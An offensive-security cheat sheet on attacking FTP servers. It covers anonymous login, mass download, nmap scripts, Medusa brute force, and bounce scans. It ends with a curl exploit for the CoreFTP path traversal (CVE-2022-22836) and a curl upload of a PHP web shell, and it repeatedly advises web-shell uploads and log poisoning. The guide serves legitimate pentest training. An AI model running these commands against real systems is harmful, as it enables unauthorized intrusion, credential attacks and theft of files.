# Pentesting FTP

* FTP runs on TCP port 21 (control) and TCP port 20 (data)
* Clear-text protocol — can be sniffed on the wire
* Active vs Passive: active has the server connect back to the client; passive has the client initiate data connections (firewall-friendly)
* Many FTP server flavors: vsFTPd, ProFTPD, Microsoft ftpd, Pure-FTPd, etc.
* Nmap fingerprints the version

```
PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
```

***

## Important FTP Notes

```
# Always use ls -la on FTP (may only have hidden files)
ftp> ls -la

# Fix Extended Passive Mode issues
ftp> passive
Passive mode: off; fallback to active mode: off.
ftp> ls
```

***

## Anonymous Login

```
ftp <ip>
username: anonymous
password: <enter>
```

* If successful you'll see `230 User logged in` and often the OS type
* Always try downloading AND uploading files
* Start with a simple text file upload to test write access
* Escape spaces in filenames

```
230 User logged in.
Remote system type is Windows_NT.
```

```
ftp> cd Nadine
ftp> get Confidential.txt
ftp> cd Nathan
ftp> get Notes\ to\ do.txt
```

***

## FTP Interaction Commands

* `status` — shows connection mode, transfer type, verbose state
* `debug` — toggles debug output (shows raw protocol commands)
* `trace` — toggles packet tracing
* Use these to understand exactly what the server is doing

```
ftp> status

Connected to 10.129.14.136.
No proxy connection.
Mode: stream; Type: binary; Form: non-print; Structure: file
Verbose: on; Bell: off; Prompting: on; Globbing: on
Store unique: off; Receive unique: off
```

```
ftp> debug
Debugging on (debug=1).

ftp> trace
Packet tracing on.

ftp> ls
---> PORT 10,10,14,4,188,195
200 PORT command successful. Consider using PASV.
---> LIST
150 Here comes the directory listing.
-rw-rw-r--    1 1002     1002      8138592 Sep 14 16:54 Calender.pptx
drwxrwxr-x    2 1002     1002         4096 Sep 14 17:03 Clients
drwxrwxr-x    2 1002     1002         4096 Sep 14 16:50 Documents
drwxrwxr-x    2 1002     1002         4096 Sep 14 16:50 Employees
-rw-rw-r--    1 1002     1002           41 Sep 14 16:45 Important Notes.txt
226 Directory send OK.
```

***

## Passive FTP

* If you can connect but `ls` / other commands hang, the server can't connect back through your firewall
* Switch to passive mode immediately after connecting:

```
ftp> passive
```

***

## Downloading Files

Single file:

```
ftp> get filename.txt
```

All files in current directory:

```
ftp> mget *
```

Cat a file without downloading (prints to stdout):

```
ftp> get <FILENAME> -
```

Recursive listing (requires `ls_recurse_enable=YES` on server):

```
ftp> ls -R
```

### Download everything with wget

```
wget -m --no-passive ftp://anonymous:anonymous@<ip>
wget -m --no-passive ftp://user:pass@<ip>:2121
```

After download, `wget` creates a directory named after the target IP:

```
$ tree .
.
└── 10.129.14.136
    ├── Calendar.pptx
    ├── Clients
    │   └── Inlanefreight
    │       ├── appointments.xlsx
    │       ├── contract.docx
    │       ├── meetings.txt
    │       └── proposal.pptx
    ├── Documents
    │   ├── appointments-template.xlsx
    │   ├── contract-template.docx
    │   └── contract-template.pdf
    ├── Employees
    └── Important Notes.txt

5 directories, 9 files
```

***

## Uploading Files

```
ftp> put filename.txt
ftp> mput *.txt
```

* If FTP root overlaps with a web server directory, upload a web shell and execute it via HTTP
* Always test write access — misconfigurations are common on internal servers

***

## Brute Force

Good wordlist: [ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)

***

## Nmap FTP Enumeration

Anon login and bounce checks run by default with `-sC`:

```bash
nmap --script ftp-* -p 21 <ip>
```

Standard scan with version detection:

```bash
sudo nmap -sV -p21 -sC -A <ip>
```

With `--script-trace` to see raw NSE traffic (useful for understanding what nmap sends):

```bash
sudo nmap -sV -p21 -sC -A <ip> --script-trace
```

### Update nmap script database and find FTP scripts

```bash
sudo nmap --script-updatedb
find / -type f -name ftp* 2>/dev/null | grep scripts
```

### Available FTP NSE scripts

| Script                      | Purpose                     |
| --------------------------- | --------------------------- |
| `ftp-anon.nse`              | Check anonymous login       |
| `ftp-bounce.nse`            | Check FTP bounce attack     |
| `ftp-brute.nse`             | Brute force credentials     |
| `ftp-libopie.nse`           | Check libopie vulnerability |
| `ftp-proftpd-backdoor.nse`  | ProFTPD 1.3.3c backdoor     |
| `ftp-syst.nse`              | STAT command info           |
| `ftp-vsftpd-backdoor.nse`   | vsFTPd 2.3.4 backdoor       |
| `ftp-vuln-cve2010-4221.nse` | ProFTPD buffer overflow     |

***

## Service Interaction Alternatives

Useful when the `ftp` client isn't available or you need raw access:

```bash
nc -nv <ip> 21
telnet <ip> 21
```

For FTP over TLS/SSL — also reveals the SSL certificate (hostname, email, org info):

```bash
openssl s_client -connect <ip>:21 -starttls ftp
```

Example certificate output:

```
depth=0 C = US, ST = California, L = Sacramento, O = Inlanefreight, OU = Dev,
        CN = master.inlanefreight.htb, emailAddress = admin@inlanefreight.htb
```

***

## TFTP

* Uses **UDP** (not TCP) — completely different from FTP
* **No authentication** — access controlled only by filesystem permissions
* **No directory listing** — you must already know the filename
* Commonly found on internal/protected networks for PXE boot, firmware updates, etc.

| Command   | Description                                    |
| --------- | ---------------------------------------------- |
| `connect` | Set remote host and optionally port            |
| `get`     | Download file(s) from remote to local          |
| `put`     | Upload file(s) from local to remote            |
| `quit`    | Exit tftp                                      |
| `status`  | Show transfer mode, connection status, timeout |
| `verbose` | Toggle additional transfer info                |

***

## vsFTPd Configuration

* Most common FTP server on Linux
* Config: `/etc/vsftpd.conf`
* Deny list: `/etc/ftpusers`

### Install

```bash
sudo apt install vsftpd
```

### View config (strip comments)

```bash
cat /etc/vsftpd.conf | grep -v "#"
```

### View deny list

```bash
cat /etc/ftpusers
```

Users listed in `/etc/ftpusers` are **blocked** from FTP even if they exist on the system.

### Default Settings

| Setting                                                       | Description                             |
| ------------------------------------------------------------- | --------------------------------------- |
| `listen=NO`                                                   | Run from inetd or as standalone daemon? |
| `listen_ipv6=YES`                                             | Listen on IPv6?                         |
| `anonymous_enable=NO`                                         | Enable anonymous access?                |
| `local_enable=YES`                                            | Allow local users to login?             |
| `dirmessage_enable=YES`                                       | Display directory messages?             |
| `use_localtime=YES`                                           | Use local time?                         |
| `xferlog_enable=YES`                                          | Log uploads/downloads?                  |
| `connect_from_port_20=YES`                                    | Connect from port 20?                   |
| `secure_chroot_dir=/var/run/vsftpd/empty`                     | Empty directory for chroot              |
| `pam_service_name=vsftpd`                                     | PAM service name                        |
| `rsa_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem`          | RSA cert for SSL                        |
| `rsa_private_key_file=/etc/ssl/private/ssl-cert-snakeoil.key` | RSA private key for SSL                 |
| `ssl_enable=NO`                                               | Enable SSL?                             |

### Dangerous Settings

Settings that expand the attack surface — look for these during enumeration:

| Setting                        | Description                                         |
| ------------------------------ | --------------------------------------------------- |
| `anonymous_enable=YES`         | Allow anonymous login                               |
| `anon_upload_enable=YES`       | Anonymous can upload files                          |
| `anon_mkdir_write_enable=YES`  | Anonymous can create directories                    |
| `no_anon_password=YES`         | No password required for anonymous                  |
| `anon_root=/home/username/ftp` | Anonymous root directory                            |
| `write_enable=YES`             | Allow STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, SITE  |
| `hide_ids=YES`                 | All UIDs/GUIDs display as "ftp" — hides real owners |
| `ls_recurse_enable=YES`        | Allow recursive directory listing                   |

When `hide_ids=YES` is set, all file ownership shows as `ftp`:

```
-rw-rw-r--    1 ftp     ftp      8138592 Sep 14 16:54 Calender.pptx
drwxrwxr-x    2 ftp     ftp         4096 Sep 14 17:03 Clients
```

### Additional FTP Settings

| Setting                   | Description                            |
| ------------------------- | -------------------------------------- |
| `dirmessage_enable=YES`   | Show message on entering new directory |
| `chown_uploads=YES`       | Change ownership of anonymous uploads  |
| `chown_username=username` | User who owns anonymous uploads        |
| `local_enable=YES`        | Enable local user login                |
| `chroot_local_user=YES`   | Jail local users to home directory     |
| `chroot_list_enable=YES`  | Use list for chroot enforcement        |

***

## Other Considerations

* If there's also a web server, check if FTP directories are served over HTTP (e.g., `/scripts` on FTP → `http://target/scripts/`)
* Upload a web shell via FTP, execute it through the web server
* FTP logs can sometimes be leveraged for RCE via log poisoning (LFI → FTP log → code execution)
* Before connecting, ensure your local working directory is writable or downloads will fail

***

## Medusa FTP Brute Force

```bash
medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h 10.129.203.7 -M ftp
```

| Flag | Description           |
| ---- | --------------------- |
| `-u` | Single username       |
| `-U` | Username file         |
| `-P` | Password file         |
| `-M` | Protocol module (ftp) |
| `-h` | Target host           |

***

## FTP Bounce Attack

Use an FTP server as a proxy to scan internal hosts:

```bash
nmap -Pn -v -n -p80 -b anonymous:password@10.10.110.213 172.17.0.2
```

The `-b` flag tells Nmap to perform an FTP bounce scan through the specified FTP server to reach otherwise inaccessible internal hosts.

***

## CoreFTP Path Traversal (CVE-2022-22836)

Arbitrary file write via HTTP PUT with directory traversal:

```bash
curl -k -X PUT -H "Host: <IP>" --basic -u <username>:<password> --data-binary "PoC." --path-as-is https://<IP>/../../../../../../whoops
```

Verify on target:

```
C:\> type C:\whoops
```

### CoreFTP HTTPS PUT Upload (Webshell)

```bash
curl -k -X PUT -H "Host: <target>" --basic -u <user>:<pass> --data-binary @shell.php --path-as-is https://<target>/shell.php
```
